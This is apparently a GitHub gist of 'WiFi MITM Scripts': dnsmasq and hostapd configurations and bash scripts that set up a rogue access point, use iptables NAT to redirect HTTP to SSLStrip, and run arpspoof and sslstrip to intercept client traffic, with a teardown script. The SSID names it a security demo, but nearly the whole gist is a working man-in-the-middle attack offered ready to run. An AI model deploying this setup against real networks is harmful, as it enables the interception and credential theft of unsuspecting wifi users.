Skip to content

Instantly share code, notes, and snippets.

@obihann
Last active July 19, 2018 18:40
Show Gist options
  • Select an option

  • Save obihann/66c1f047cb169c4f631ef1bfd3b193c1 to your computer and use it in GitHub Desktop.

Select an option

Save obihann/66c1f047cb169c4f631ef1bfd3b193c1 to your computer and use it in GitHub Desktop.
SSLStrip

WiFi MITM Scripts

Steps

  • Enable IPV4 forwarding on the host machine
  • Configure a pre-route NAT translation with iptables to redirect traffic from port 80 through to port 10000 (the port for SSLStrip)
  • Enable Dnsmasq to provide DNS and DHCP to clients
  • Enable Hostapd to provide an access point for clients to connect to
  • Enable Arpspoof, this tricks clients to send packets to our SSLStrip instance
  • Enable SSLStrip
log-facility=/root/Scripts/Networking/dnsmasq.log
interface=wlan0
bind-interfaces
dhcp-range=192.168.150.2,192.168.150.254,12h
dhcp-option=3,192.168.150.1
dhcp-option=6,192.168.150.1
log-queries
interface=wlan0
driver=nl80211
ssid=SecurityEngDemo
hw_mode=g
ieee80211n=1
channel=6
wpa=2
wpa_passphrase=ducklings
#!/bin/bash -e
WLAN=wlan0
ETH=eth0
ROUTER=192.168.150.1
MITMPORT=10000
# Enable Routing
echo "1" > /proc/sys/net/ipv4/ip_forward
# Configure NAT
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port $MITMPORT
iptables -t nat -A POSTROUTING -o $ETH -j MASQUERADE
# Start DNSMASQ
dnsmasq --no-daemon --log-queries > dnsmasq.log 2>&1 &
# Run access point daemon
hostapd /etc/hostapd.conf > hostapd.log 2>&1 &
# Enable ARPSpoof
arpspoof -i $WLAN $ROUTER > arpspoof.log 2>&1 &
# Start SSLStrip
sslstrip -afk > sslstrip.log 2>&1 &
echo "All is running..."
wait
#!/bin/bash
WLAN=wlan0
ETH=eth0
ROUTER=192.168.150.1
MITMPORT=10000
# Disable wlan
ifconfig $WLAN down
# Disable NAT
iptables -t nat -D PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port $MITMPORT
iptables -t nat -D POSTROUTING -o $ETH -j MASQUERADE
# Disable Routing
echo "0" > /proc/sys/net/ipv4/ip_forward
for NAME in *.log; do mv $NAME $NAME-$(date +%Y%m%d); done
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment